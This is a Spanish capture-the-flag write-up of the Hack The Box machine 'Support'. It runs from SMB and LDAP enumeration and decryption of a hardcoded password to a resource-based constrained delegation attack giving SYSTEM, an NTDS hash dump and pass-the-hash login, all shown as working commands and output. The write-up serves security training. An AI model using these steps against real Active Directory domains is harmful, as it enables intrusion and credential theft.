Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, en Windows es recomendable usar el parametro -Pn
para forzar el escaneo aunque no reciba respuesta de los paquetes ping
❯ nmap 10.10.11.174 -Pn
Nmap scan report for 10.10.11.174
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5986/tcp open wsmans
9389/tcp open adws
49667/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
Con crackmapexec a nivel de smb podemos que esta corriendo un Windows 10 ver el nombre de la máquina DC y el dominio support.htb
❯ crackmapexec smb 10.10.11.174
SMB 10.10.11.174 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
Para que sepa a donde resolver agregaremos al archivo /etc/hosts/
la ip con el dominio support.htb
pero tambien dc.support.htb
para posibles ataques futuros
❯ echo "10.10.11.174 support.htb dc.support.htb" | sudo tee -a /etc/hosts
Listando recursos compartidos de smb encontramos uno llamado support-tools
❯ crackmapexec smb support.htb -u null -p '' --shares
SMB support.htb 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB support.htb 445 DC [+] support.htb\null:
SMB support.htb 445 DC [+] Enumerated shares
SMB support.htb 445 DC Share Permissions Remark
SMB support.htb 445 DC ----- ----------- ------
SMB support.htb 445 DC ADMIN$ Remote Admin
SMB support.htb 445 DC C$ Default share
SMB support.htb 445 DC IPC$ READ Remote IPC
SMB support.htb 445 DC NETLOGON Logon server share
SMB support.htb 445 DC support-tools READ support staff tools
SMB support.htb 445 DC SYSVOL Logon server share
Al conectarnos al recurso podemos encotrar varios archivos, varios de ellos parecen programas comunes como wireshark, 7z y tal, aunque hay uno bastante fuera de lo común UserInfo.exe.zip
asi que lo descargamos para ver su contenido
❯ impacket-smbclient support.htb/null@10.10.11.174 -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# use support-tools
# ls
drw-rw-rw- 0 Wed Jul 20 13:01:06 2022 .
drw-rw-rw- 0 Sat May 28 07:18:25 2022 ..
-rw-rw-rw- 2880728 Sat May 28 07:19:19 2022 7-ZipPortable_21.07.paf.exe
-rw-rw-rw- 5439245 Sat May 28 07:19:55 2022 npp.8.4.1.portable.x64.zip
-rw-rw-rw- 1273576 Sat May 28 07:20:06 2022 putty.exe
-rw-rw-rw- 48102161 Sat May 28 07:19:31 2022 SysinternalsSuite.zip
-rw-rw-rw- 277499 Wed Jul 20 13:01:07 2022 UserInfo.exe.zip
-rw-rw-rw- 79171 Sat May 28 07:20:17 2022 windirstat1_1_2_setup.exe
-rw-rw-rw- 44398000 Sat May 28 07:19:43 2022 WiresharkPortable64_3.6.5.paf.exe
# get UserInfo.exe.zip
#
Al listar los recursos dentro del zip sin descomprimirlo encontramos varios archivos con extensión dll y config, además de un archivo llamado UserInfo.exe
❯ 7z l UserInfo.exe.zip
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
Scanning the drive for archives:
1 file, 277499 bytes (271 KiB)
Listing archive: UserInfo.exe.zip
--
Path = UserInfo.exe.zip
Type = zip
Physical Size = 277499
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2022-05-27 11:51:05 ..... 12288 5424 UserInfo.exe
2022-03-01 12:18:50 ..... 99840 41727 CommandLineParser.dll
2021-10-22 17:42:08 ..... 22144 12234 Microsoft.Bcl.AsyncInterfaces.dll
2021-10-22 17:48:04 ..... 47216 21201 Microsoft.Extensions.DependencyInjection.Abstractions.dll
2021-10-22 17:48:22 ..... 84608 39154 Microsoft.Extensions.DependencyInjection.dll
2021-10-22 17:51:24 ..... 64112 29081 Microsoft.Extensions.Logging.Abstractions.dll
2020-02-19 04:05:18 ..... 20856 11403 System.Buffers.dll
2020-02-19 04:05:18 ..... 141184 58623 System.Memory.dll
2018-05-15 07:29:44 ..... 115856 32709 System.Numerics.Vectors.dll
2021-10-22 17:40:18 ..... 18024 9541 System.Runtime.CompilerServices.Unsafe.dll
2020-02-19 04:05:18 ..... 25984 13437 System.Threading.Tasks.Extensions.dll
2022-05-27 10:59:39 ..... 563 327 UserInfo.exe.config
------------------- ----- ------------ ------------ ------------------------
2022-05-27 11:51:05 652675 274861 12 files
Shell - support
Usando dnspy podemos debuguear el archivo exe donde podemos ver un apartado LdapQuery
que define una string password igualada al resultado de la función getPassword
del apartado Protected y con ella se autentica al servidor ldap
En el apartado Protected
podemos ver una función que llama a 2 variables: la contraseña encriptada y la key (ambas definidas abajo), para despues realizar una operación para obtener la contraseña en texto claro
En python podemos crear un script donde definimos ambas variables y realizamos la operación que hace la función getPassword
en el archivo exe
#!/usr/bin/python3
import base64
enc_password = b"0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = b"armando"
array = base64.b64decode(enc_password)
array2 = []
for i in range(len(array)):
array2.append(chr(array[i] ^ key[i % len(key)] ^ 223))
print("".join(array2))
Al ejecutarlo obtenemos una contraseña posiblemente valida para el servicio ldap
❯ python3 getPassword.py
nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
Podemos comprobarlo con crackmapexec hacia ldap son válidas para el usuario ldap
❯ crackmapexec ldap 10.10.11.174 -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
SMB 10.10.11.174 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.174 389 DC [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
Despues de un rato filtrando datos con ldapsearch
podemos encontrar entre la información de los usuarios un campo info que tiene lo que parece ser una contraseña
❯ ldapsearch -H ldap://support.htb -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b 'CN=Users,DC=support,DC=htb' | grep info:
info: Ironside47pleasure40Watchful
Para recolectar información del dominio usaremos bloodhound-python
pasandole las credenciales ldap, esto nos generara varios archivos json con la información
❯ bloodhound-python -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -c All -d support.htb -ns 10.10.11.174
INFO: Found AD domain: support.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.support.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc.support.htb
INFO: Found 21 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: Management.support.htb
INFO: Querying computer: dc.support.htb
INFO: Done in 00M 31S
Después de subir los archivos json, podemos ver que el usuario support
es el unico miembro del grupo Remote Management Users
por lo que se puede conectar a winrm
Podemos probar las contraseña a nivel de winrm con el usuario support y devuelve Pwn3d!
lo que significa que es válida y podemos conectarnos con evil-winrm
❯ crackmapexec winrm 10.10.11.174 -u support -p Ironside47pleasure40Watchful
SMB 10.10.11.174 5985 DC [*] Windows 10.0 Build 20348 (name:DC) (domain:support.htb)
HTTP 10.10.11.174 5985 DC [*] http://10.10.11.174/wsman
WINRM 10.10.11.174 5985 DC [+] support.htb\support:Ironside47pleasure40Watchful (Pwn3d!)
Nos conectamos con evil-winrm y obtenemos una shell como el usuario support
, ahora podemos leer la primera flag que se encuentra en es escritorio del usuario
❯ evil-winrm -i support.htb -u support -p Ironside47pleasure40Watchful
PS C:\Users\support\Documents> whoami
support\support
PS C:\Users\support\Documents> type ..\Desktop\user.txt
99b**************************149
PS C:\Users\support\Documents>
Shell - Administrator
Volviendo a bloodhound, listando los grupos del usuario support que ahora tenemos pwneado podemos ver otro grupo del que forma parte Shared Support Accounts
En el apartado Group Delegated Object Control
del usuario support podemos ver que el usuario support forma parte del grupo Shared Support Accounts
y este a su vez tiene como permisos GenericAll
sobre el equipo dc.support.htb
Para explotar este privilegios necesitamos comandos especiales asi que subimos los módulos PowerView.ps1 y Powermad.ps1, en este caso para subirlos podemos aprovechar la función upload
que nos ofrece evil-winrm
PS C:\Users\support\Documents> upload PowerView.ps1
Info: Uploading PowerView.ps1 to C:\Users\support\Documents\PowerView.ps1
Data: 1027036 bytes of 1027036 bytes copied
Info: Upload successful!
PS C:\Users\support\Documents> upload Powermad.ps1
Info: Uploading Powermad.ps1 to C:\Users\support\Documents\Powermad.ps1
Data: 180768 bytes of 180768 bytes copied
Info: Upload successful!
PS C:\Users\support\Documents>
Ahora para tener acceso a sus funciones los importamos con Import-Module
PS C:\Users\support\Documents> Import-Module .\PowerView.ps1
PS C:\Users\support\Documents> Import-Module .\Powermad.ps1
PS C:\Users\support\Documents>
Ahora simplemente seguiremos los pasos que nos indica bloodhound usando los comandos que nos proporciona, iniciamos creando una nueva cuenta de máquina
PS C:\Users\support\Documents> New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force)
[+] Machine account attackersystem added
PS C:\Users\support\Documents>
Ya creada seguimos ejecutando los comandos que nos proporciona bloodhound
PS C:\Users\support\Documents> $ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid
PS C:\Users\support\Documents> $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
PS C:\Users\support\Documents> $SDBytes = New-Object byte[] ($SD.BinaryLength)
PS C:\Users\support\Documents> $SD.GetBinaryForm($SDBytes, 0)
PS C:\Users\support\Documents> Get-DomainComputer DC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
PS C:\Users\support\Documents>
Este tipo de ataque RBCD
tambien se puede hacer con las herramientas impacket
, creando la cuenta de equipo con addcomputer
y hacer la delegacion con rbcd
❯ impacket-addcomputer -computer-name attackersystem$ -computer-pass 123456 support.htb/support:Ironside47pleasure40Watchful
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Successfully added machine account attackersystem$ with password 123456.
❯ impacket-rbcd -delegate-from attackersystem$ -delegate-to DC$ -action write support.htb/support:Ironside47pleasure40Watchful
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] attackersystem$ can now impersonate users on DC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] attackersystem$ (S-1-5-21-1677581083-3380853377-188903654-5601)
En este punto bloodhound nos dice que usemos Rubeus
, en este caso usaremos las herramientas de impacket
, asi que iniciamos obteniendo un ticket suplantando a Administrator
usando la cuenta con las credenciales que hemos creado antes
❯ impacket-getST support.htb/'attackersystem$':123456 -spn cifs/dc.support.htb -impersonate Administrator
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
Una vez guardado exportamos la variable KRB5CCNAME
con el nombre del ticket y usamos psexec
para conseguir una cmd como Administrator, podemos leer flag
❯ export KRB5CCNAME=Administrator.ccache
❯ impacket-psexec support.htb/administrator@dc.support.htb -k -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Requesting shares on dc.support.htb.....
[*] Found writable share ADMIN$
[*] Uploading file uUiWMRnR.exe
[*] Opening SVCManager on dc.support.htb.....
[*] Creating service ltUm on dc.support.htb.....
[*] Starting service ltUm.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.859]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
dc2**************************977
C:\Windows\system32>
Usando crackmapexec
y autenticandonos con el ticket ccache
de antes podemos dumpear el ntds.dit
de la maquina y ver los hashes
NT de todos los usuarios
❯ crackmapexec smb support.htb -k --use-kcache --ntds drsuapi
SMB support.htb 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB support.htb 445 DC [+] support.htb\ from ccache (Pwn3d!)
SMB support.htb 445 DC [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB support.htb 445 DC Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb06cbc02b39abeddd1335bc30b19e26:::
SMB support.htb 445 DC Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB support.htb 445 DC krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6303be52e22950b5bcb764ff2b233302:::
SMB support.htb 445 DC ldap:1104:aad3b435b51404eeaad3b435b51404ee:b735f8c7172b49ca2b956b8015eb2ebe:::
SMB support.htb 445 DC support:1105:aad3b435b51404eeaad3b435b51404ee:11fbaef07d83e3f6cde9f0ff98a3af3d:::
SMB support.htb 445 DC smith.rosario:1106:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB support.htb 445 DC hernandez.stanley:1107:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB support.htb 445 DC wilson.shelby:1108:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB support.htb 445 DC anderson.damian:1109:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB support.htb 445 DC thomas.raphael:1110:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB support.htb 445 DC levine.leopoldo:1111:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB support.htb 445 DC raven.clifton:1112:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB support.htb 445 DC bardot.mary:1113:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB support.htb 445 DC cromwell.gerard:1114:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB support.htb 445 DC monroe.david:1115:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB support.htb 445 DC west.laura:1116:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB support.htb 445 DC langley.lucy:1117:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB support.htb 445 DC daughtler.mabel:1118:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB support.htb 445 DC stoll.rachelle:1119:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB support.htb 445 DC ford.victoria:1120:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
SMB support.htb 445 DC DC$:1000:aad3b435b51404eeaad3b435b51404ee:ade13794d228c047819a03b8ca7417d1:::
SMB support.htb 445 DC MANAGEMENT$:2601:aad3b435b51404eeaad3b435b51404ee:3f99f2f26988d1f348d378e84f86bc58:::
SMB support.htb 445 DC attackersystem$:5601:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
Ahora con el hash
NT de Administrator podemos conectarnos con evil-winrm
❯ evil-winrm -i support.htb -u Administrator -H bb06cbc02b39abeddd1335bc30b19e26
PS C:\Users\Administrator\Documents> whoami
support\administrator
PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
dc2**************************977
PS C:\Users\Administrator\Documents>